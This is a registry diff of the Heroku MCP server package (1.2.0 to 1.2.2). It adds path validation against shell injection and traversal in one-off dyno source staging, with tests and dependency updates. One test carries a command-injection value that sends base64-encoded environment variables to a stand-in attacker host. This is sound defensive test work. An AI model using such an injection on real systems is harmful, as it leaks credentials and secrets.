@heroku/mcp-server 1.2.0 → 1.2.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.js
CHANGED
|
File without changes
|
|
@@ -61,7 +61,7 @@ export class HerokuREPL extends EventEmitter {
|
|
|
61
61
|
* async iterator that yields the commands being executed
|
|
62
62
|
*
|
|
63
63
|
* @returns An async iterator that yields the commands being executed
|
|
64
|
-
* @yields the command being executed
|
|
64
|
+
* @yields {Promise<string>} the command being executed
|
|
65
65
|
*/
|
|
66
66
|
async *[Symbol.asyncIterator]() {
|
|
67
67
|
while (!this.abortController.signal.aborted) {
|
|
@@ -11,6 +11,33 @@ import { packSources } from '../utils/tarball.js';
|
|
|
11
11
|
import DynoService from '../services/dyno-service.js';
|
|
12
12
|
import { RendezvousConnection } from '../services/rendezvous.js';
|
|
13
13
|
const appJsonSchema = await import('../utils/app-json.schema.json', { with: { type: 'json' } });
|
|
14
|
+
export const MAX_SOURCE_RELATIVE_PATH_LENGTH = 512;
|
|
15
|
+
const SAFE_SOURCE_PATH_SEGMENT = /^[a-zA-Z0-9._-]+$/;
|
|
16
|
+
/** True if {@link relativePath} may be used unquoted in a POSIX shell `> path` redirect when staging one-off sources. */
|
|
17
|
+
export function isSafeSourceRelativePath(relativePath) {
|
|
18
|
+
if (relativePath.length === 0 || relativePath.length > MAX_SOURCE_RELATIVE_PATH_LENGTH) {
|
|
19
|
+
return false;
|
|
20
|
+
}
|
|
21
|
+
if (relativePath.includes('\0') || relativePath.includes('\n') || relativePath.includes('\r')) {
|
|
22
|
+
return false;
|
|
23
|
+
}
|
|
24
|
+
if (relativePath.startsWith('/')) {
|
|
25
|
+
return false;
|
|
26
|
+
}
|
|
27
|
+
const normalized = relativePath.replace(/^\.\/+/, '');
|
|
28
|
+
if (normalized.length === 0) {
|
|
29
|
+
return false;
|
|
30
|
+
}
|
|
31
|
+
for (const segment of normalized.split('/')) {
|
|
32
|
+
if (segment.length === 0 || segment === '.' || segment === '..') {
|
|
33
|
+
return false;
|
|
34
|
+
}
|
|
35
|
+
if (!SAFE_SOURCE_PATH_SEGMENT.test(segment)) {
|
|
36
|
+
return false;
|
|
37
|
+
}
|
|
38
|
+
}
|
|
39
|
+
return true;
|
|
40
|
+
}
|
|
14
41
|
/**
|
|
15
42
|
* The DeploymentError class is used when
|
|
16
43
|
* an error occurs during the deployment of
|
|
@@ -249,6 +276,12 @@ export class DeployToHeroku extends AbortController {
|
|
|
249
276
|
// If sources are provided, pack them and modify the command
|
|
250
277
|
let finalCommand = command;
|
|
251
278
|
if (sources?.length) {
|
|
279
|
+
for (const source of sources) {
|
|
280
|
+
if (!isSafeSourceRelativePath(source.relativePath)) {
|
|
281
|
+
throw new Error('Invalid source.relativePath: use a relative virtual path with only letters, digits, ' +
|
|
282
|
+
'`.`, `_`, `-`, and `/` between segments; no `..`, no leading `/`, and no shell metacharacters.');
|
|
283
|
+
}
|
|
284
|
+
}
|
|
252
285
|
const commands = [
|
|
253
286
|
'TEMP_DIR=$(mktemp -d)',
|
|
254
287
|
'cd $TEMP_DIR',
|
|
@@ -277,7 +310,6 @@ export class DeployToHeroku extends AbortController {
|
|
|
277
310
|
rejectUnauthorized: true,
|
|
278
311
|
showStatus: true,
|
|
279
312
|
onStatusChange: (status) => {
|
|
280
|
-
// eslint-disable-next-line no-console
|
|
281
313
|
console.log(`Dyno status: ${status}`);
|
|
282
314
|
}
|
|
283
315
|
});
|
|
@@ -290,7 +322,6 @@ export class DeployToHeroku extends AbortController {
|
|
|
290
322
|
await this.dynoService.stop(name, dyno.id, this.requestInit);
|
|
291
323
|
}
|
|
292
324
|
catch (error) {
|
|
293
|
-
// eslint-disable-next-line no-console
|
|
294
325
|
console.warn('Failed to stop dyno:', error);
|
|
295
326
|
}
|
|
296
327
|
};
|
|
@@ -533,7 +564,15 @@ export const deployOneOffDynoSchema = z
|
|
|
533
564
|
command: z.string().describe('Command to run in dyno.'),
|
|
534
565
|
sources: z
|
|
535
566
|
.array(z.object({
|
|
536
|
-
relativePath: z
|
|
567
|
+
relativePath: z
|
|
568
|
+
.string()
|
|
569
|
+
.min(1)
|
|
570
|
+
.max(MAX_SOURCE_RELATIVE_PATH_LENGTH)
|
|
571
|
+
.refine(isSafeSourceRelativePath, {
|
|
572
|
+
message: 'Invalid source.relativePath: relative virtual path must use only letters, digits, `.`, `_`, ' +
|
|
573
|
+
'`-`, and `/` between segments; no `..`, no leading `/`, and no shell metacharacters.'
|
|
574
|
+
})
|
|
575
|
+
.describe('Relative virtual path for each staged source file (strict character set).'),
|
|
537
576
|
contents: z.string().describe('File contents.')
|
|
538
577
|
}))
|
|
539
578
|
.optional()
|
|
@@ -3,7 +3,7 @@ import path from 'node:path';
|
|
|
3
3
|
import os from 'node:os';
|
|
4
4
|
import { expect } from 'chai';
|
|
5
5
|
import { Readable } from 'node:stream';
|
|
6
|
-
import { DeployToHeroku } from './deploy-to-heroku.js';
|
|
6
|
+
import { DeployToHeroku, isSafeSourceRelativePath, MAX_SOURCE_RELATIVE_PATH_LENGTH } from './deploy-to-heroku.js';
|
|
7
7
|
import AppService from '../services/app-service.js';
|
|
8
8
|
import SourceService from '../services/source-service.js';
|
|
9
9
|
import AppSetupService from '../services/app-setup-service.js';
|
|
@@ -11,6 +11,34 @@ import BuildService from '../services/build-service.js';
|
|
|
11
11
|
import sinon from 'sinon';
|
|
12
12
|
import { RendezvousConnection } from '../services/rendezvous.js';
|
|
13
13
|
import DynoService from '../services/dyno-service.js';
|
|
14
|
+
describe('isSafeSourceRelativePath', () => {
|
|
15
|
+
it('accepts typical virtual paths including optional ./ prefix', () => {
|
|
16
|
+
expect(isSafeSourceRelativePath('app.js')).to.be.true;
|
|
17
|
+
expect(isSafeSourceRelativePath('./app.json')).to.be.true;
|
|
18
|
+
expect(isSafeSourceRelativePath('src/index.js')).to.be.true;
|
|
19
|
+
expect(isSafeSourceRelativePath('.gitignore')).to.be.true;
|
|
20
|
+
expect(isSafeSourceRelativePath('package-lock.json')).to.be.true;
|
|
21
|
+
expect(isSafeSourceRelativePath('lib/nested/file.js')).to.be.true;
|
|
22
|
+
});
|
|
23
|
+
it('rejects traversal, absolute roots, and malformed slashes', () => {
|
|
24
|
+
expect(isSafeSourceRelativePath('..')).to.be.false;
|
|
25
|
+
expect(isSafeSourceRelativePath('../secret')).to.be.false;
|
|
26
|
+
expect(isSafeSourceRelativePath('foo/../bar')).to.be.false;
|
|
27
|
+
expect(isSafeSourceRelativePath('/etc/passwd')).to.be.false;
|
|
28
|
+
expect(isSafeSourceRelativePath('foo//bar')).to.be.false;
|
|
29
|
+
expect(isSafeSourceRelativePath('foo/')).to.be.false;
|
|
30
|
+
expect(isSafeSourceRelativePath('./')).to.be.false;
|
|
31
|
+
expect(isSafeSourceRelativePath('')).to.be.false;
|
|
32
|
+
});
|
|
33
|
+
it('rejects control characters, spaces, and overlong paths', () => {
|
|
34
|
+
expect(isSafeSourceRelativePath('a\nb')).to.be.false;
|
|
35
|
+
expect(isSafeSourceRelativePath('a\rb')).to.be.false;
|
|
36
|
+
expect(isSafeSourceRelativePath('a\0b')).to.be.false;
|
|
37
|
+
expect(isSafeSourceRelativePath('bad path')).to.be.false;
|
|
38
|
+
expect(isSafeSourceRelativePath('a'.repeat(MAX_SOURCE_RELATIVE_PATH_LENGTH + 1))).to.be.false;
|
|
39
|
+
expect(isSafeSourceRelativePath('a'.repeat(MAX_SOURCE_RELATIVE_PATH_LENGTH))).to.be.true;
|
|
40
|
+
});
|
|
41
|
+
});
|
|
14
42
|
describe('DeployToHeroku', () => {
|
|
15
43
|
// Increase timeout for async tests
|
|
16
44
|
const TEST_TIMEOUT = 30000;
|
|
@@ -203,5 +231,131 @@ describe('DeployToHeroku', () => {
|
|
|
203
231
|
expect(dynoServiceStub.create.calledOnce).to.be.true;
|
|
204
232
|
expect(rendezvousStub.calledOnce).to.be.true;
|
|
205
233
|
});
|
|
234
|
+
it('should not create a one-off dyno when a source relativePath contains shell metacharacters', async function () {
|
|
235
|
+
this.timeout(TEST_TIMEOUT);
|
|
236
|
+
await createTempFile('app.json', JSON.stringify({
|
|
237
|
+
name: 'test-app',
|
|
238
|
+
description: 'Test app',
|
|
239
|
+
stack: 'heroku-22'
|
|
240
|
+
}));
|
|
241
|
+
const mockDyno = {
|
|
242
|
+
id: 'dyno-id',
|
|
243
|
+
attach_url: 'https://test.com/attach',
|
|
244
|
+
command: 'echo done'
|
|
245
|
+
};
|
|
246
|
+
dynoServiceStub.create.resolves(mockDyno);
|
|
247
|
+
sinon.stub(RendezvousConnection.prototype, 'connect').resolves({ output: '', exitCode: 0 });
|
|
248
|
+
const options = {
|
|
249
|
+
name: 'test-app',
|
|
250
|
+
command: 'echo done',
|
|
251
|
+
rootUri: tempDir,
|
|
252
|
+
// Bounty-style payload: would break out of `> path` if this string were executed as shell.
|
|
253
|
+
sources: [
|
|
254
|
+
{
|
|
255
|
+
relativePath: 'x; curl https://attacker.example.invalid/?d=$(env|base64) #',
|
|
256
|
+
contents: 'harmless'
|
|
257
|
+
}
|
|
258
|
+
]
|
|
259
|
+
};
|
|
260
|
+
const result = await deployToHeroku.run(options);
|
|
261
|
+
expect(result).to.not.be.null;
|
|
262
|
+
expect(dynoServiceStub.create.called, 'dynoService.create must not run when relativePath is not a safe virtual path').to.be.false;
|
|
263
|
+
expect(result).to.have.property('errorMessage');
|
|
264
|
+
expect(result.errorMessage).to.match(/relativePath|Invalid source/i);
|
|
265
|
+
});
|
|
266
|
+
it('should not create a one-off dyno when a source relativePath uses parent directory segments', async function () {
|
|
267
|
+
this.timeout(TEST_TIMEOUT);
|
|
268
|
+
await createTempFile('app.json', JSON.stringify({
|
|
269
|
+
name: 'test-app',
|
|
270
|
+
description: 'Test app',
|
|
271
|
+
stack: 'heroku-22'
|
|
272
|
+
}));
|
|
273
|
+
dynoServiceStub.create.resolves({
|
|
274
|
+
id: 'dyno-id',
|
|
275
|
+
attach_url: 'https://test.com/attach',
|
|
276
|
+
command: 'echo done'
|
|
277
|
+
});
|
|
278
|
+
sinon.stub(RendezvousConnection.prototype, 'connect').resolves({ output: '', exitCode: 0 });
|
|
279
|
+
const result = await deployToHeroku.run({
|
|
280
|
+
name: 'test-app',
|
|
281
|
+
command: 'echo done',
|
|
282
|
+
rootUri: tempDir,
|
|
283
|
+
sources: [{ relativePath: 'foo/../bar.js', contents: 'x' }]
|
|
284
|
+
});
|
|
285
|
+
expect(dynoServiceStub.create.called).to.be.false;
|
|
286
|
+
expect(result).to.have.property('errorMessage');
|
|
287
|
+
expect(result.errorMessage).to.match(/relativePath|Invalid source/i);
|
|
288
|
+
});
|
|
289
|
+
it('should not create a one-off dyno when a source relativePath is absolute', async function () {
|
|
290
|
+
this.timeout(TEST_TIMEOUT);
|
|
291
|
+
await createTempFile('app.json', JSON.stringify({
|
|
292
|
+
name: 'test-app',
|
|
293
|
+
description: 'Test app',
|
|
294
|
+
stack: 'heroku-22'
|
|
295
|
+
}));
|
|
296
|
+
dynoServiceStub.create.resolves({
|
|
297
|
+
id: 'dyno-id',
|
|
298
|
+
attach_url: 'https://test.com/attach',
|
|
299
|
+
command: 'echo done'
|
|
300
|
+
});
|
|
301
|
+
sinon.stub(RendezvousConnection.prototype, 'connect').resolves({ output: '', exitCode: 0 });
|
|
302
|
+
const result = await deployToHeroku.run({
|
|
303
|
+
name: 'test-app',
|
|
304
|
+
command: 'echo done',
|
|
305
|
+
rootUri: tempDir,
|
|
306
|
+
sources: [{ relativePath: '/tmp/evil.js', contents: 'x' }]
|
|
307
|
+
});
|
|
308
|
+
expect(dynoServiceStub.create.called).to.be.false;
|
|
309
|
+
expect(result).to.have.property('errorMessage');
|
|
310
|
+
expect(result.errorMessage).to.match(/relativePath|Invalid source/i);
|
|
311
|
+
});
|
|
312
|
+
it('should not create a one-off dyno when a source relativePath has an empty segment', async function () {
|
|
313
|
+
this.timeout(TEST_TIMEOUT);
|
|
314
|
+
await createTempFile('app.json', JSON.stringify({
|
|
315
|
+
name: 'test-app',
|
|
316
|
+
description: 'Test app',
|
|
317
|
+
stack: 'heroku-22'
|
|
318
|
+
}));
|
|
319
|
+
dynoServiceStub.create.resolves({
|
|
320
|
+
id: 'dyno-id',
|
|
321
|
+
attach_url: 'https://test.com/attach',
|
|
322
|
+
command: 'echo done'
|
|
323
|
+
});
|
|
324
|
+
sinon.stub(RendezvousConnection.prototype, 'connect').resolves({ output: '', exitCode: 0 });
|
|
325
|
+
const result = await deployToHeroku.run({
|
|
326
|
+
name: 'test-app',
|
|
327
|
+
command: 'echo done',
|
|
328
|
+
rootUri: tempDir,
|
|
329
|
+
sources: [{ relativePath: 'src//index.js', contents: 'x' }]
|
|
330
|
+
});
|
|
331
|
+
expect(dynoServiceStub.create.called).to.be.false;
|
|
332
|
+
expect(result).to.have.property('errorMessage');
|
|
333
|
+
expect(result.errorMessage).to.match(/relativePath|Invalid source/i);
|
|
334
|
+
});
|
|
335
|
+
it('should create a one-off dyno when sources use only safe virtual paths', async function () {
|
|
336
|
+
this.timeout(TEST_TIMEOUT);
|
|
337
|
+
await createTempFile('app.json', JSON.stringify({
|
|
338
|
+
name: 'test-app',
|
|
339
|
+
description: 'Test app',
|
|
340
|
+
stack: 'heroku-22'
|
|
341
|
+
}));
|
|
342
|
+
const mockDyno = {
|
|
343
|
+
id: 'dyno-id',
|
|
344
|
+
attach_url: 'https://test.com/attach',
|
|
345
|
+
command: 'echo done'
|
|
346
|
+
};
|
|
347
|
+
dynoServiceStub.create.resolves(mockDyno);
|
|
348
|
+
sinon.stub(RendezvousConnection.prototype, 'connect').resolves({ output: 'ok', exitCode: 0 });
|
|
349
|
+
const options = {
|
|
350
|
+
name: 'test-app',
|
|
351
|
+
command: 'echo done',
|
|
352
|
+
rootUri: tempDir,
|
|
353
|
+
sources: [{ relativePath: 'app.js', contents: 'console.log(1)' }]
|
|
354
|
+
};
|
|
355
|
+
const result = await deployToHeroku.run(options);
|
|
356
|
+
expect(result).to.not.be.null;
|
|
357
|
+
expect(dynoServiceStub.create.calledOnce).to.be.true;
|
|
358
|
+
expect(result).to.have.property('exitCode', 0);
|
|
359
|
+
});
|
|
206
360
|
});
|
|
207
361
|
});
|
package/package.json
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@heroku/mcp-server",
|
|
3
3
|
"description": "Heroku Platform MCP Server",
|
|
4
|
-
"version": "1.2.
|
|
4
|
+
"version": "1.2.2",
|
|
5
5
|
"author": "Heroku",
|
|
6
6
|
"bugs": "https://github.com/heroku/heroku-mcp-server/issues",
|
|
7
7
|
"bin": {
|
|
@@ -11,37 +11,34 @@
|
|
|
11
11
|
"dependencies": {
|
|
12
12
|
"@heroku-cli/schema": "^2.0.1",
|
|
13
13
|
"@modelcontextprotocol/sdk": "^1.26.0",
|
|
14
|
-
"cheerio": "^1.
|
|
14
|
+
"cheerio": "^1.2.0",
|
|
15
15
|
"jsonschema": "^1.5.0",
|
|
16
16
|
"node-fetch": "^3.3.2",
|
|
17
17
|
"tar-stream": "^3.1.7",
|
|
18
|
-
"zod": "^3.
|
|
19
|
-
"zod-to-json-schema": "^3.
|
|
18
|
+
"zod": "^3.25.76",
|
|
19
|
+
"zod-to-json-schema": "^3.25.1"
|
|
20
20
|
},
|
|
21
21
|
"devDependencies": {
|
|
22
22
|
"@anthropic-ai/mcpb": "^2.1.2",
|
|
23
|
-
"@eslint/eslintrc": "^3.3.
|
|
24
|
-
"@eslint/js": "^9.
|
|
23
|
+
"@eslint/eslintrc": "^3.3.3",
|
|
24
|
+
"@eslint/js": "^9.39.2",
|
|
25
25
|
"@types/chai": "^5.2.1",
|
|
26
26
|
"@types/mocha": "^10.0.10",
|
|
27
|
-
"@types/node": "^
|
|
28
|
-
"@types/sinon": "^
|
|
27
|
+
"@types/node": "^22.x",
|
|
28
|
+
"@types/sinon": "^21.0.0",
|
|
29
29
|
"@types/tar-stream": "^3.1.3",
|
|
30
|
-
"
|
|
31
|
-
"
|
|
32
|
-
"
|
|
33
|
-
"eslint": "^
|
|
34
|
-
"eslint-config-salesforce-typescript": "^3.4.0",
|
|
35
|
-
"eslint-plugin-jsdoc": "^50.6.9",
|
|
30
|
+
"chai": "^6.2.2",
|
|
31
|
+
"eslint": "^9",
|
|
32
|
+
"eslint-config-oclif": "^6.0.144",
|
|
33
|
+
"eslint-plugin-mocha": "^11.2.0",
|
|
36
34
|
"husky": "^9.1.7",
|
|
37
|
-
"mocha": "^11.
|
|
35
|
+
"mocha": "^11.7.5",
|
|
38
36
|
"nyc": "^17.1.0",
|
|
39
|
-
"prettier": "^3.
|
|
37
|
+
"prettier": "^3.8.1",
|
|
40
38
|
"shx": "^0.4.0",
|
|
41
|
-
"sinon": "^
|
|
42
|
-
"
|
|
43
|
-
"
|
|
44
|
-
"typescript": "^5.8.2"
|
|
39
|
+
"sinon": "^21.0.1",
|
|
40
|
+
"tsx": "^4.21.0",
|
|
41
|
+
"typescript": "^5.9.3"
|
|
45
42
|
},
|
|
46
43
|
"engines": {
|
|
47
44
|
"node": ">=20"
|
|
@@ -82,10 +79,15 @@
|
|
|
82
79
|
"format": "prettier . --write --config ./.prettier.mjs",
|
|
83
80
|
"lint": "cd src && eslint ./",
|
|
84
81
|
"posttest": "npm run lint",
|
|
82
|
+
"prepare": "husky",
|
|
85
83
|
"pretest": "npm run build",
|
|
86
84
|
"type-check": "tsc --noEmit",
|
|
87
|
-
"test": "nyc mocha --forbid-only
|
|
85
|
+
"test": "nyc mocha --forbid-only",
|
|
88
86
|
"exec-perms": "shx chmod +x dist/*.js",
|
|
89
|
-
"test:watch": "nyc mocha --watch --forbid-only"
|
|
87
|
+
"test:watch": "nyc mocha --watch --forbid-only",
|
|
88
|
+
"prepublishOnly": "npm run build && npm run build:mcpb"
|
|
89
|
+
},
|
|
90
|
+
"overrides": {
|
|
91
|
+
"serialize-javascript": "^7.0.3"
|
|
90
92
|
}
|
|
91
|
-
}
|
|
93
|
+
}
|